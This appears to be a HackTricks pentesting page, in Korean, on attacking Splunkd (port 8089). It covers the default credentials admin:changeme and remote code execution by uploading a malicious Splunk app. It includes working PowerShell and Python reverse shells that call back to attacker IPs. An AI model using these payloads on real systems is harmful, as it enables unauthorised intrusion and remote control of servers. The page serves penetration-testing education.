8089 - Pentesting Splunkd

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

기본 정보

  • 데이터 수집, 분석 및 시각화를 위한 로그 분석 도구
  • 보안 모니터링 및 비즈니스 분석에 일반적으로 사용됨
  • 기본 포트:
  • 웹 서버: 8000
  • Splunkd 서비스: 8089

취약점 벡터:

  1. 무료 버전 악용
  • 평가판 버전은 60일 후 자동으로 무료 버전으로 전환됨
  • 무료 버전은 인증이 없음
  • 관리되지 않을 경우 잠재적인 보안 위험
  • 관리자가 보안 문제를 간과할 수 있음
  1. 자격 증명 약점
  • 이전 버전: 기본 자격 증명 admin:changeme
  • 최신 버전: 설치 중 설정된 자격 증명
  • 약한 비밀번호 사용 가능성 (예: admin, Welcome, Password123)
  1. 원격 코드 실행 기회
  • 여러 코드 실행 방법:
  • 서버 측 Django 애플리케이션
  • REST 엔드포인트
  • 스크립트 입력
  • 경고 스크립트
  • 크로스 플랫폼 지원 (Windows/Linux)
  • 스크립트 입력은 다음을 실행할 수 있음:
  • Bash 스크립트
  • PowerShell 스크립트
  • 배치 스크립트

주요 악용 가능성:

  • 민감한 데이터 저장
  • 무료 버전의 인증 부족
  • 잠재적인 원격 코드 실행을 위한 여러 벡터
  • 시스템 손상을 위한 스크립트 입력 활용 가능성

Shodan

  • Splunk build

RCE

사용자 정의 애플리케이션 생성

Splunk는 사용자 정의 애플리케이션 배포를 통해 원격 코드 실행을 위한 정교한 방법을 제공하며, 크로스 플랫폼 스크립팅 기능을 활용합니다. 핵심 악용 기술은 Windows 및 Linux 시스템에서 리버스 셸을 실행할 수 있는 악성 애플리케이션을 만드는 것입니다.

사용자 정의 애플리케이션은 Python, Batch, Bash 또는 PowerShell 스크립트를 실행할 수 있습니다. 또한, Splunk에는 Python이 설치되어 있으므로, Windows 시스템에서도 Python 코드를 실행할 수 있습니다.

이 예제를 사용할 수 있으며, **bin**에는 PythonPowerShell 예제가 포함되어 있습니다. 또는 자신만의 것을 만들 수도 있습니다.

악용 과정은 플랫폼 전반에 걸쳐 일관된 방법론을 따릅니다:

splunk_shell/
├── bin        (reverse shell scripts)
└── default    (inputs.conf configuration)

중요한 구성 파일 inputs.conf는 다음과 같이 스크립트를 활성화합니다:

  • disabled = 0 설정
  • 10초 실행 간격 구성
  • 스크립트의 소스 유형 정의

배포는 간단합니다:

  1. 악성 애플리케이션 패키지 생성
  2. 공격 머신에서 리스너(Netcat/socat) 설정
  3. Splunk의 인터페이스를 통해 애플리케이션 업로드
  4. 업로드 시 자동 스크립트 실행 트리거

샘플 Windows PowerShell 리버스 셸:

powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()

샘플 리눅스 파이썬 리버스 셸:

python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')

RCE & Privilege Escalation

다음 페이지에서는 이 서비스를 악용하여 권한을 상승시키고 지속성을 확보하는 방법에 대한 설명을 찾을 수 있습니다:

Splunk LPE and Persistence

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기